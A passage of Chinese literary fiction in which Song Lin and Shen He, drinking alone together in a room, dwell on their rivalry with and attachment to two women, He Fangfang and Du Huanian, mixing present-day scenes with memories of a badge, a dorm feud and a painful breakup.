三年前的一个夏日午后,他在画室里见到失魂落魄的李雯,李雯穿着宽大的T恤,牛仔短裤,披肩发柔顺地垂在锁骨,皮肤细腻光滑,额头和鼻头上沁出细密的汗珠。她呆呆的,眼神总是看着地面,问什么答什么。“你好,请问你是来看画的吗?”“啊?嗯,是。”“是想挂在哪里?”“啊?哦,都行。”她可能觉得他跟的太近了,开始到处乱走,眼神乱飘。宋林停下脚步,正思考该怎么接待这个有点奇怪的女孩子,忽然间,他看见了她背包上的一个徽章——一片梧桐叶,青绿色,心形,叶柄与叶片等长,银色金属勾边,那青绿色的质感,看起来是仿点翠,从工艺的精巧度来看,是个价值不菲的定制货。
宋林盯着这片叶子发愣,他分得清中国梧桐和法国梧桐,这枚徽章是照着中国梧桐的叶子做的。他很确定这不是这个姑娘买的,一定是别人送的,因为他还在另一个人身上见过一模一样的另一枚,他问过这是什么?在哪里买到的?这么新奇可爱。那个人说:“是一个老朋友送的,买不到的,因为是她朋友自己设计,再找人做的。”宋林问起她那个朋友,她说:“她……是一个像梧桐一样迷人的人……”那也是一个姑娘,穿着宽大的T恤,牛仔裤,柔顺的披肩发,眉目肃丽,眼睛里除了书,谁也看不见,她说起送徽章的朋友时,露出甜美的微笑,似乎那是一段深情。
宋林记得分外清楚,那是沈荷第一次跟他说超过三句话。他后来走得远远的,流浪了这么久,竟然回到国内,还要在这里,再次见到这枚徽章,出现在另一个女孩身上,那一刻,宋林觉得老天是故意的。
“小姐姐,你想不想画一幅肖像画?我们店里推出了新业务,你是第一个体验的,有很大的优惠哦。”他扬起青春少年的笑脸,眼睛里似乎没有一点阴影,真诚地问。李雯似乎来了兴趣,“哦对,对对,我就是来画肖像的。嗯,”她转过身看着他,用力点点头,“我要画一副肖像。”
架好画板,宋林一边打比例,一边探出半边脸问,“小姐姐,你叫什么?”“李雯。”“你包上那个徽章好特别,是哪里买的?”“没有卖的,朋友送的。”果然,李雯也露出了一丝若有似无的微笑。宋林收回半边脸,挡在画板后,目光深黑如深渊。
“我两次都输给了同一个人。”宋林喃喃自语,拿起沈荷喝剩的红酒,也灌了一口,他心里浮出一个确实的疑问:杜华年他妈的是妖精吗?!他又想起那天送李雯回家,在她租住的房子楼下,杜华年喊住了他,带他去看广场舞,还跟他说了一些话。他想起来了,当时连他自己都觉得,杜华年果然很会迷惑人。忽然很咽不下这口气,把木塞塞回去,把红酒瓶往桌上一拍,宋林站了起来。
沈荷上了楼,随意推开了一件房门,像标间一样的一间房,她倒头砸到床上。何芳芳……何芳芳……她默默地念着这名字,很轻,根本没有发出声音。她总有莫名的预感,这不是何芳芳的作风,她不可能轻易认输,可她到底会做什么呢?
她忽然想起了一件事。
何芳芳念大二的时候,因为在宿舍里抽烟,被某个舍友投诉了,本来不是什么大不了的事情,可最后那个投诉的女生却被调去了一间十二人寝室,没有公共卫浴。她当时觉得挺奇怪,何芳芳来交稿的时候她顺便问了她一嘴,结果何芳芳说了什么?她说:“是我要求的,不然我不解恨。”
“恨?恨什么?”沈荷更迷糊了。
“你没听到?她在外头传,我是靠我老子才进咱学校的。笑话!那我就只能让她看看,什么叫做靠老子解决问题。”
沈荷眨了眨眼,心里升起一股难言的情绪,她又问,“你这样做,她不就更认为你是关系户了么?”
“诶嘿?你别说,她就是这么说的,她滚出去那天,我跟她讲得很明白,我不是因为她投诉我才要整她,是因为她污蔑我,所以我就要教训她,结果她就是这么说的,跟你说的差不多。”
她们在后门的美食街上吃晚饭,何芳芳说完这句,吞了一颗馄饨。沈荷有点急,“你就算说清楚了,她也不会信的,就算她信了,她还是可以造你的谣啊!”
“所以呢?”何芳芳抬起眼瞟她,“我就要忍气吞声,让她爽?不可能我告诉你,我决不受人要挟!鉴于她这么说了,那我就得把她说的坐实了,好让她知道,我如果真的想利用关系,她可就连跟我说话都不配!看得见我的人,我当然好好跟她相处,只看得见何文谦的人,我也肯定不会把她当人。”她一边吃着,一边轻飘飘地讲了这番话。
沈荷骤然间胃口全无。她也不知道为什么。
当然,现在的沈荷早已想明白了为什么。
因为她何芳芳可以有如此多的选择,她可以选择躺平,享受父荫,也可以选择奋斗,去争取自己的独立价值,她敢大大方方承认自己有毛病,她敢有仇必报,她不怕任何人任何事,她不惧怕这个世界,她甚至不怕一个不完美的自己。沈荷当时就觉得,她爱上了何芳芳,可是,她又深深地,恨上了何芳芳。她爱她坦荡,甚至爱她的乖张暴戾,爱她那么像个疯子。她为什么有那么强的力量?当年的沈荷,偷偷问了自己:沈荷,你有这个力量吗?
没有。
答案如此令她沮丧。
此后,她的目标,其实就只剩下了一个:找到这个力量。但她从来不敢跟人讲。
她忽然觉得,与何芳芳为敌,也许是一件不太明智的事。
沈荷从未如此疲惫过,她觉得所有的斗志都消失了,也不知道为什么。她伸手去摸包,没摸到烟,又挣扎着爬起来,去窗边的玻璃酒柜里抓出一支洋酒,拧开就喝,“咚咚咚”几下,终于觉得解渴才放下,倒回床上。她很快感觉到眩晕,洋酒就是厉害,就在她即将梦见何芳芳时,门“砰——”一声被踹开,沈荷一颤,清醒了,还是晕,睁眼看过去,宋林气势汹汹走进来。
“哟,喝混酒?看来你心情也不怎样嘛
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。”宋林一屁股坐在床头,遮住了大半窗外进来的光线,阴影投在沈荷脸上,他抓起床头柜上那瓶洋酒,拧开也往肚子里灌。沈荷不想理他,转了个身。宋林把酒瓶拍在床头柜上,问她,“终于也有人不选你了哈?感觉怎么样啊?沈大编辑?”
沈荷还是一动不动,就像睡着了。宋林看了她一会儿,开口道:“沈荷,你对杜华年做的这一切,都很像是,因爱、成恨。”
沈荷终于动了动,坐起来,自顾去酒柜里又抓出一瓶威士忌,拧开就喝了一大口,斜着眼睛盯着宋林,眼神锐利,“宋林,你想说什么?”
“我就想知道,为什么所有人都爱杜华年?你们都这么离不开她么?她到底好在哪里?一个穷鬼,一个死犟种,一个说话难听、独断专行的疯婆子,为了她自己的目标,从来不问别人的意愿,不管别人难不难受,总之就要无条件接受她的安排,这种人,不是人人讨厌的吗?啊?!”宋林眼睛都红了,通红,瞪得老大,盯着沈荷,满脸愤恨。
沈荷的心泡在酒里,荡漾起来,她看着他崩溃的样子,轻轻问,“宋林,你说的,是杜华年还是你爸?”
宋林通红的脸和眼睛,一下子血色褪尽,灰败地松开了握拳的手。沈荷也没再奚落他,忽然地充满了耐心,“我跟你说个故事吧……
在很多很多年前,何芳芳谈了一段恋爱,她和所有女人一样,一谈恋爱就什么都忘记了,我就骂她,骂她不上进、不务正业……之类的……”
“谈恋爱怎么就是不务正业了?谈恋爱和不上进有什么关系?”宋林忍不住打断她。
沈荷平静地看着他,沉浸在自己的回忆里,“她谈了恋爱就不按时交稿子,甚至她觉得她可以先停一段时间不写了,只想专心谈恋爱,你说这是上进?”宋林还想反驳,沈荷摆摆手:“你先别急,至少当时,何芳芳并没有反驳我。我们吵完架之后,大概有……嗯,半个月左右吧,我每天都自我安慰,我想也许我不应该用我自己的标准去要求她,她天赋比我好,又有父亲托底,就算她和她爹观念不一样,但也是亲生父女,她的路总不会太难走的。想通了之后,我打算找她道个歉,我承认是我太极端了,可谁知道她先来找我了,她来交稿,还告诉我她分手了,她说她觉得我说得对。呵呵,呵呵呵……哈哈哈哈……”笑声从沈荷的肺腑里颤出来,像隐忍的抽泣,可她脸上却是笑着的,眼睛里有泪。
宋林从未见过这样的沈荷,他愣住了,他感到沈荷是受了很深的伤害才会出现这样的表情,他习惯性地出口安慰,“可能她就是发现了男朋友不合适,所以分手的,不是因为你说的那个原因……”
“不,”沈荷眼睛一瞪,“你不了解她!你以为她找的是你这种男人?哼,我就问你,她这种女孩子,你敢追吗?你也就敢追我这种人!”宋林被问住了,确实,他从未觉得杜华年像个女人。沈荷接着说:“我看得出来,她不想分手,她交稿的时候,眼睛真的肿得像铜铃那么大,她就是为了保持人格的独立,所以分的手,我没有想到,她是这么狠的一个人。”
沈荷往窗边上靠,抓着威士忌又开始喝,宋林望着她的脸,感觉撕开了一道口子,从这个口子里,他看见了实实在在的沈荷,但他又看不太懂她。“人家按你的想法,专心写稿子了,恋爱也不谈了,可我怎么觉得你一点都不高兴呢?”
窗框里框着一颗巨大的夕阳,橙色的余晖染着沈荷的眼眸,她说:“是啊,她像一只不会睡觉的兔子,令我觉得害怕,怕我很快就追不上她了。”
不会睡觉的兔子?宋林迷惑了一阵子,反应了过来,哦!她说的是龟兔赛跑里那只兔子,可是如果那只兔子不睡觉了……那确实挺令人害怕的。沈荷看着宋林的表情变化,笑了,“你现在懂了?”
宋林低着头,沉默了很久,才抬起头来,还剩一点点夕阳打在他半边脸上。他说:“我懂了,杜华年是个疯子,我们都喜欢疯子身上的破坏力。”他站起来,拿着酒瓶子往门口走,又回头,“不过沈荷,你当年刚认识人家就偷偷录音,这事干的真他妈挺没品的。”他走了出去,消失在楼梯口。
沈荷呆了片刻,又倒回了床上,泪流满面。
她是一个永远受惊的小鹿,永远带着所有后路在试探,她总是想:只要这次试探,他们可以给我想要的答案,我就会十倍百倍地对他们好,补偿对他们的不信任。
可是这世界上,连父母都经不起试探,还有什么是值得期盼的?哦!还有何芳芳,她是那个唯一曾经通过她试探的人,可是她们现在也不再是朋友了。
她灌完剩下半瓶酒,睡了过去。